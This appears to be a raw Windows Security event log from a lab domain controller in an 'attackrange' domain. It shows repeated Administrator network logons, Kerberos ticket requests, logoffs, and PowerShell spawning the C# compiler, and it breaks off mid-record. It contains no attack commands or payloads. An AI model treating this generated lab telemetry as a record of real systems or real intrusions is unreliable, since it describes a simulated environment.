-ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253149 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19546B - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253148 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19546B - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DC8BD9CB-9E67-1C6B-D803-22324392E8C0} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253147 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {DC8BD9CB-9E67-1C6B-D803-22324392E8C0} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253146 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {DC8BD9CB-9E67-1C6B-D803-22324392E8C0} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253145 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253144 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19542E - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253143 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19373B - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253142 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19398F - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253141 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19542E - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253140 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19542E - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DC8BD9CB-9E67-1C6B-D803-22324392E8C0} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253139 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {DC8BD9CB-9E67-1C6B-D803-22324392E8C0} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253138 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {DC8BD9CB-9E67-1C6B-D803-22324392E8C0} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253137 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253136 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x195410 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253135 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x195410 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253134 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x195410 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DC8BD9CB-9E67-1C6B-D803-22324392E8C0} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253133 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {DC8BD9CB-9E67-1C6B-D803-22324392E8C0} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253132 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {DC8BD9CB-9E67-1C6B-D803-22324392E8C0} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253131 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253130 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x194F42 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253129 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x193B8E - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253197 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19546B - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x420 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe48 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RESC03A.tmp" "c:\Users\Administrator\AppData\Local\Temp\CSCBD3F505081F049FDA11574DAEF6DA6E5.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253196 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x198C48 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253195 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x198C48 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {32D81B45-7BDD-468A-BC62-F57A417398B1} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253194 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {32D81B45-7BDD-468A-BC62-F57A417398B1} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253193 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {32D81B45-7BDD-468A-BC62-F57A417398B1} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253192 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253191 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19546B - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe48 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1138 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\ADMINI~1\AppData\Local\Temp\uqrtld0n.cmdline" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253190 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x198566 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253189 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x198566 - Linked Logon ID: 0x0 - Network Account Name: - - Network 